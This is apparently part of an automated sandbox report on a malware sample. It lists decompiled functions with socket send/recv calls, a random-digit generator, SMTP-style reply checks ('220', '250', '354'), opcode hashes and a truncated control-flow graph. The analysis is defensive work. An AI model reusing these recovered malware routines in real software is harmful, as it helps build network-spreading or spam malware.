                                                                                                                                                                                                                                                                                                                                                      Function 010A1230 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • select.WS2_32(?,00000000,00000000,00000000,00000400), ref: 010A130C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: select
                                                                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1274211008-2766056989
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 95d930fda476a0a80ebda8723a6a86d1a8b742f559b7e48d93cea14a1e67b5c1
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fd5c4ee1e9a149249e1eee63fb5b887f22dccc8221df8690933a355eb32be8fa
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 95d930fda476a0a80ebda8723a6a86d1a8b742f559b7e48d93cea14a1e67b5c1
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E221ECB0A0011C9BCF68CF98C8927DDB7B6AB45314F50C1D9EA49A7284CA349B918F94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1440 Relevance: 3.0, APIs: 2, Instructions: 26networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: gethostbynameinet_addr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1594361348-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6a4864bf29b7c589e146b7d44ac653a668cecadb99b110235f3f8726ce801126
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 08dd7363217892c16c09036113060191e8e997bb5382d3d2bfcdf8821e22b550
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6a4864bf29b7c589e146b7d44ac653a668cecadb99b110235f3f8726ce801126
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 65F01C78D00608EFCB10DFA8D44889DFBB5FB49321F608699ED959B390D735AA81DB90
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1120 Relevance: 3.0, APIs: 2, Instructions: 22stringnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 37%
                                                                                                                                                                                                                                                                                                                                                      			E010A1120(intOrPtr _a4, CHAR* _a8, int _a12) {
				intOrPtr _t10;

				if(_a12 == 0xffffffff) {
					_a12 = lstrlenA(_a8);
				}
				_t10 = _a4;
				__imp__#19(_t10, _a8, _a12, 0); // executed
				return 0 | _t10 == _a12;
			}




                                                                                                                                                                                                                                                                                                                                                      0x010a1127
                                                                                                                                                                                                                                                                                                                                                      0x010a1133
                                                                                                                                                                                                                                                                                                                                                      0x010a1133
                                                                                                                                                                                                                                                                                                                                                      0x010a1140
                                                                                                                                                                                                                                                                                                                                                      0x010a1144
                                                                                                                                                                                                                                                                                                                                                      0x010a1155

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(?), ref: 010A112D
                                                                                                                                                                                                                                                                                                                                                      • send.WS2_32(?,?,000000FF,00000000), ref: 010A1144
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: lstrlensend
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3675724601-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 4588132d4189b241665d0bd39158cf1d0f65800efecb7e59b2552baa478e4ea8
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cba2c56eb2341a12355ac82fad0c988414c6c06dae54e29c915d86d12225a3b7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4588132d4189b241665d0bd39158cf1d0f65800efecb7e59b2552baa478e4ea8
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 14E01A75204749ABCB14CFA8DC449AA37B8BB08320F808A18FA29CB280D731E510CB50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1160 Relevance: 1.5, APIs: 1, Instructions: 31networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • recv.WS2_32(?,00000000,?,00000000), ref: 010A119F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: recv
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1507349165-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 87440dcbe71bfed23b2c7b042cca208cca3acca11c4725e3cb3df2dbdfcdbac3
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9c3ee8e47c68a4889da815284021eca2308b6750c97b23279c422de19618772f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 87440dcbe71bfed23b2c7b042cca208cca3acca11c4725e3cb3df2dbdfcdbac3
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2CF05E7560030AABDF00CE98DC04BAB3BE8BB04385F808818F9698A280D3B4E1508B94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 010A1320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 73%
                                                                                                                                                                                                                                                                                                                                                      			E010A1320(void* __ecx, intOrPtr _a4, char* _a8) {
				char _v8;
				signed int _t19;
				void* _t32;
				void* _t33;

				 *_a8 = 0;
				srand(GetTickCount());
				_t33 = _t32 + 4;
				_v8 = 0;
				while(_v8 < _a4) {
					_t19 = rand();
					asm("cdq");
					_push(_t19 % 0xa);
					_push(_a8);
					sprintf(_a8, "%s%d");
					_t33 = _t33 + 0x10;
					_v8 = _v8 + 1;
				}
				_a8[_v8] = 0;
				return _a8;
			}







                                                                                                                                                                                                                                                                                                                                                      0x010a1327
                                                                                                                                                                                                                                                                                                                                                      0x010a1331
                                                                                                                                                                                                                                                                                                                                                      0x010a1336
                                                                                                                                                                                                                                                                                                                                                      0x010a1339
                                                                                                                                                                                                                                                                                                                                                      0x010a134b
                                                                                                                                                                                                                                                                                                                                                      0x010a1353
                                                                                                                                                                                                                                                                                                                                                      0x010a1358
                                                                                                                                                                                                                                                                                                                                                      0x010a1360
                                                                                                                                                                                                                                                                                                                                                      0x010a1364
                                                                                                                                                                                                                                                                                                                                                      0x010a136e
                                                                                                                                                                                                                                                                                                                                                      0x010a1373
                                                                                                                                                                                                                                                                                                                                                      0x010a1348
                                                                                                                                                                                                                                                                                                                                                      0x010a1348
                                                                                                                                                                                                                                                                                                                                                      0x010a137e
                                                                                                                                                                                                                                                                                                                                                      0x010a1387

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountTickrandsprintfsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%d
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2526408171-1110647743
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1da9a403fa4d7187549d35f10f688d246baac63432036affdb04f9c71754009e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 045647378e23c15f046c1f7d4591bba441fbaa82e00c6102047efabf6d82ca7a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1da9a403fa4d7187549d35f10f688d246baac63432036affdb04f9c71754009e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E4F03CB5A04148EBDB04DFD8D941BAD7775EB95300F50C098F9494B341D671AA008762
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A11C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E010A11C0(char* _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _t23;

				_v20 = 0x10a3148;
				_v16 = 0x10a314c;
				_v12 = 0x10a3150;
				_v8 = 0;
				_v24 = 0;
				while(_v24 < 3) {
					if(StrCmpNA(_a4,  *(_t23 + _v24 * 4 - 0x10), 3) == 0) {
						_v8 = 1;
					} else {
						_v24 = _v24 + 1;
						continue;
					}
					break;
				}
				return _v8;
			}









                                                                                                                                                                                                                                                                                                                                                      0x010a11c6
                                                                                                                                                                                                                                                                                                                                                      0x010a11cd
                                                                                                                                                                                                                                                                                                                                                      0x010a11d4
                                                                                                                                                                                                                                                                                                                                                      0x010a11db
                                                                                                                                                                                                                                                                                                                                                      0x010a11e2
                                                                                                                                                                                                                                                                                                                                                      0x010a11f4
                                                                                                                                                                                                                                                                                                                                                      0x010a1210
                                                                                                                                                                                                                                                                                                                                                      0x010a1214
                                                                                                                                                                                                                                                                                                                                                      0x010a1212
                                                                                                                                                                                                                                                                                                                                                      0x010a11f1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a11f1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1210
                                                                                                                                                                                                                                                                                                                                                      0x010a1225

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNA.SHLWAPI(354,220,00000003), ref: 010A1208
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: 220$250$354
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-1679323658
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ed5af19953ec225b618240a673378299191466a84dd96ac181256493b301848e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 104ae3a6b6e2ebb38c37f98a591915db6dfdf8b5696b0ca6881e542cf7b150f5
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed5af19953ec225b618240a673378299191466a84dd96ac181256493b301848e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 13F01DB0904209EBCF00DFD4C9487AEBBB4BB04704F904148D955BF240D371AB54CBA1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D62FAA Relevance: .5, Instructions: 467COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.467896136.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 4aaab1359053d4b0dbe9a2cdc743d5a61666c432a4d956e9b04021ffcf245547
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 09e95652ce5e000812d02f9c23e62037fcfa84f1f3d8f04a11f907204cfbe8ef
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4aaab1359053d4b0dbe9a2cdc743d5a61666c432a4d956e9b04021ffcf245547
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 75E1D231E18A898FEF84DF5CD495AE97BF1FF6A710F044176D489D7282CA64F8868780
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D62B08 Relevance: .3, Instructions: 301COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.467896136.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ebef8b9cb75368da0112a38e52a1e76563594d13ff40484644dda993d5707945
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 407ef1d626c3a7afdc6373253139927e9153478b9688155df015faa56e69f52e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ebef8b9cb75368da0112a38e52a1e76563594d13ff40484644dda993d5707945
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 64913736A1D6954FD705EB2CF8A65E53BA0EF8732170440BBD1CDCB163DA28688BC791
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D62A95 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.467896136.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c352f95137f9de6539dd42526fd4421d963ec3ebf19e4be9f16e26b62c99c155
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3923e124043604452fcf62915b3db04657da2482a0b3fa5917b20a1d1e77243b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c352f95137f9de6539dd42526fd4421d963ec3ebf19e4be9f16e26b62c99c155
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C601677111CB0C4FD744EF0CE451AA6B7E0FF95324F10056DE58AC3695DA36E882CB46
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D62C18 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.467896136.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ce08ecfb15ab3e73a984ea5836ba7c2767d317c371ab738a193fd5ef8bd82f12
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 5e4c90cc123643b7c8c4658ce0a8ad51b2230e01bf027f4a13ee8bcd376820db
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce08ecfb15ab3e73a984ea5836ba7c2767d317c371ab738a193fd5ef8bd82f12
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EFF0373275C6044FDB4CAA1CF4529B573D1E795321B00057EF48BC2696D927F8468686
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE1880 Relevance: 32.4, APIs: 21, Instructions: 855COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 0 7ff642ce1880-7ff642ce18f9 call 7ff642ce5d30 call 7ff642ce4824 call 7ff642ceb0f0 call 7ff642ce5ec0 9 7ff642ce18ff-7ff642ce190b call 7ff642ce5ec0 0->9 10 7ff642ce2620-7ff642ce2663 call 7ff642ce5ec0 call 7ff642ce5600 0->10 16 7ff642ce1934-7ff642ce197f call 7ff642ce5ec0 * 2 9->16 17 7ff642ce190d-7ff642ce1930 9->17 21 7ff642ce2668-7ff642ce26cb call 7ff642ce5ec0 call 7ff642ce5600 10->21 26 7ff642ce1981-7ff642ce19b8 call 7ff642ce5600 16->26 27 7ff642ce19bd-7ff642ce19c1 16->27 17->16 36 7ff642ce26d5-7ff642ce276d call 7ff642ce5ec0 call 7ff642ce5600 21->36 26->27 30 7ff642ce19c3-7ff642ce19e9 27->30 31 7ff642ce19ef-7ff642ce1a60 _wgetenv call 7ff642ce3800 memset call 7ff642ce5ec0 * 2 27->31 30->31 43 7ff642ce1a62-7ff642ce1a98 call 7ff642ce5600 31->43 44 7ff642ce1a9d-7ff642ce1aa1 31->44 50 7ff642ce2772-7ff642ce280b call 7ff642ce5ec0 call 7ff642ce5600 36->50 43->44 47 7ff642ce1aa3-7ff642ce1ac4 44->47 48 7ff642ce1ac8-7ff642ce1b72 call 7ff642ce3800 memset call 7ff642ce5ec0 44->48 47->48 48->36 58 7ff642ce1b78-7ff642ce1b84 call 7ff642ce5ec0 48->58 61 7ff642ce2810-7ff642ce2861 call 7ff642ce3cb0 call 7ff642ce3e60 memcpy call 7ff642ce5ec0 50->61 62 7ff642ce1bba-7ff642ce1c8b call 7ff642ce3800 memset GetModuleFileNameW memset call 7ff642ce5ec0 58->62 63 7ff642ce1b86-7ff642ce1b92 58->63 78 7ff642ce2863-7ff642ce2868 call 7ff642ce5ec0 61->78 79 7ff642ce28d1-7ff642ce2908 call 7ff642ce5ec0 memcpy call 7ff642ce5600 61->79 62->50 75 7ff642ce1c91-7ff642ce1c9d call 7ff642ce5ec0 62->75 65 7ff642ce1b98-7ff642ce1bb4 63->65 65->65 68 7ff642ce1bb6 65->68 68->62 84 7ff642ce1cd2-7ff642ce1d19 call 7ff642ce5ec0 * 2 75->84 85 7ff642ce1c9f-7ff642ce1cab 75->85 90 7ff642ce286b-7ff642ce2874 78->90 79->90 102 7ff642ce1d1b-7ff642ce1d52 call 7ff642ce5600 84->102 103 7ff642ce1d57-7ff642ce1d5c 84->103 89 7ff642ce1cb0-7ff642ce1ccc 85->89 89->89 95 7ff642ce1cce 89->95 91 7ff642ce28b2-7ff642ce28cc call 7ff642ce3160 90->91 92 7ff642ce2876-7ff642ce2882 90->92 91->79 96 7ff642ce2888-7ff642ce28a7 92->96 95->84 96->96 99 7ff642ce28a9 96->99 99->91 102->103 105 7ff642ce1d82-7ff642ce1dd5 _wgetenv call 7ff642ce3800 memcpy call 7ff642ce5ec0 * 2 103->105 106 7ff642ce1d5e-7ff642ce1d7e 103->106 113 7ff642ce1e0f-7ff642ce1e17 105->113 114 7ff642ce1dd7-7ff642ce1e05 memcpy call 7ff642ce5600 105->114 106->105 116 7ff642ce1e51-7ff642ce1eca call 7ff642ce3160 memset call 7ff642ce5ec0 113->116 117 7ff642ce1e19-7ff642ce1e25 113->117 118 7ff642ce1e0a 114->118 116->21 125 7ff642ce1ed0-7ff642ce1ee3 call 7ff642ce5ec0 116->125 119 7ff642ce1e28-7ff642ce1e47 117->119 118->113 119->119 121 7ff642ce1e49 119->121 121->116 128 7ff642ce1ee5-7ff642ce1f08 125->128 129 7ff642ce1f0e-7ff642ce1f29 call 7ff642ce3800 _wcsicmp 125->129 128->129 129->61 132 7ff642ce1f2f-7ff642ce1f96 memset call 7ff642ce5ec0 * 2 129->132 137 7ff642ce1fe0-7ff642ce1fe4 132->137 138 7ff642ce1f98-7ff642ce1fdb call 7ff642ce5600 132->138 140 7ff642ce2010-7ff642ce2042 call 7ff642ce5ec0 * 2 137->140 141 7ff642ce1fe6-7ff642ce2009 137->141 138->137 146 7ff642ce2044-7ff642ce2072 call 7ff642ce5600 140->146 147 7ff642ce2077-7ff642ce207d 140->147 141->140 146->147 149 7ff642ce20a2-7ff642ce2110 _wgetenv call 7ff642ce3800 memset call 7ff642ce5ec0 * 2 147->149 150 7ff642ce207f-7ff642ce209d 147->150 157 7ff642ce2112-7ff642ce214a call 7ff642ce5600 149->157 158 7ff642ce214f-7ff642ce2153 149->158 150->149 157->158 160 7ff642ce2155-7ff642ce2176 158->160 161 7ff642ce217a-7ff642ce21d9 call 7ff642ce3800 call 7ff642ce1730 call 7ff642ce3e60 call 7ff642ce3220 call 7ff642ce5ec0 158->161 160->161 172 7ff642ce21df-7ff642ce21ec call 7ff642ce5ec0 161->172 173 7ff642ce255d-7ff642ce258b call 7ff642ce5ec0 call 7ff642ce5600 161->173 179 7ff642ce21ee-7ff642ce2204 172->179 180 7ff642ce2209-7ff642ce2284 call 7ff642ce5ec0 * 2 172->180 185 7ff642ce2590-7ff642ce25d6 memset call 